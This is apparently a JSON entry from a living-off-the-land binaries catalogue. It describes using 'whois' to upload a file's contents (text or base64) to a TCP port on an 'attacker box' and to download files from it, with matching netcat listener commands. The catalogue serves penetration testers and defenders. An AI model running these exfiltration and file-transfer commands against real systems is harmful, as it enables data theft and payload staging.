You cannot select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
25 lines
1.2 KiB
JSON
25 lines
1.2 KiB
JSON
{
|
|
"description": "'whois' hangs waiting for the remote peer to close the socket.",
|
|
"functions": {
|
|
"file-upload": [
|
|
{
|
|
"description": "Send a text file to a TCP port. Run 'nc -lp [port] > [file]' on the attacker box to collect the file. The file has a trailing '$'\\x0d\\x0a'' and its length is limited by the maximum size of arguments.",
|
|
"code": "whois -h [host] -p [port] \"`cat [file]`\"\n"
|
|
},
|
|
{
|
|
"description": "Send a binary file to a TCP port. Run 'nc -lp [port] | tr -d $'\\x0d' | base64 -d > [file]' on the attacker box to collect the file. The file length is limited by the maximum size of arguments.",
|
|
"code": "whois -h [host] -p [port] \"`base64 [file]`\"\n"
|
|
}
|
|
],
|
|
"file-download": [
|
|
{
|
|
"description": "Fetch remote text file from a remote TCP port. Run 'nc -lp [port] < [file]' on the attacker box to send the file. The file has instances of '$'\\x0d'' stripped.",
|
|
"code": "whois -h [host] -p [port] > [file]\n"
|
|
},
|
|
{
|
|
"description": "Fetch remote binary file from a remote TCP port. Run 'base64 [file] | nc -lp [port]' on the attacker box to send the file.",
|
|
"code": "whois -h [host] -p [port] | base64 -d > [file]\n"
|
|
}
|
|
]
|
|
}
|
|
} |